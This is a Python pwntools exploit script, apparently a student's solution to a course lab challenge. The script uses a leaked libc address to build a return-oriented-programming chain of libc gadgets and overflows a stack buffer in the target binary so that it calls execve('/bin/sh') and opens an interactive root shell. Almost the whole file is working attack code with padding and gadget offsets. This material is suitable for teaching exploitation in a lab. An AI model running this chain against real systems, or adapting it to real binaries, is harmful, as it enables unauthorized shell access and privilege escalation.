CSE545_SS_Work/4c/lab4c_1.py

109 lines
3.0 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template /challenge/run
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or '/challenge/run')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
io = start()
# first, libc address is provided
io.recvuntil(b"at: ")
libc_addr = int(io.recvline().strip(), 16)
print("Libc is at:", libc_addr)
# now, load libc
libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_rop = ROP(libc_elf)
## 1.1 find string - /bin/sh
bin_sh = next(libc_elf.search(b"/bin/sh")) # relative position
bin_sh += libc_addr # absolute address
## 1.2 pop rdi, ret
# libc_rop.rdi = 0x0
pop_rdi_gadget = libc_rop.find_gadget(['pop rdi', 'ret'])[0] # this address is relative to libc start
pop_rdi_gadget += libc_addr
## 2.1 zero can be loaded onto stack directly (? null byte?)
## 2.2 pop rdx, ret
# pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'ret'])[0]
## exact gadget not found, just let pwn work its magic
## finds a gadget with an added pop r12, inconsequential
# libc_rop.rdx = 0x0
## so lets just assume we use this
pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
pop_rdx_gadget += libc_addr
## 3.1 zero can be loaded onto stack directly (? null byte?)
## 3.2 pop rsi, ret
# libc_rop.rsi = 0x0
pop_rsi_gadget = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rsi_gadget += libc_addr
## 4.1 0x3b can be loaded onto stack directly
## 4.2 pop rax, ret
# libc_rop.rax = 0x3b
pop_rax_gadget = libc_rop.find_gadget(['pop rax', 'ret'])[0]
pop_rax_gadget += libc_addr
## 5. syscall
syscall_gadget = libc_rop.find_gadget(['syscall'])[0]
syscall_gadget += libc_addr
# print(libc_rop.dump())
# payload padding
unbound_buffer = 0x7fffa6d1e910
saved_rip = 0x7fffa6d1e958
offset = saved_rip-unbound_buffer
payload_padding = b'F' * offset # pad until saved_rip
payload = payload_padding + \
p64(pop_rdi_gadget) + p64(bin_sh) + \
p64(pop_rdx_gadget) + p64(0) + p64(0) + \
p64(pop_rsi_gadget) + p64(0) + \
p64(pop_rax_gadget) + p64(0x3b) + \
p64(syscall_gadget)
io.send(payload)
# root shell obtained
io.interactive()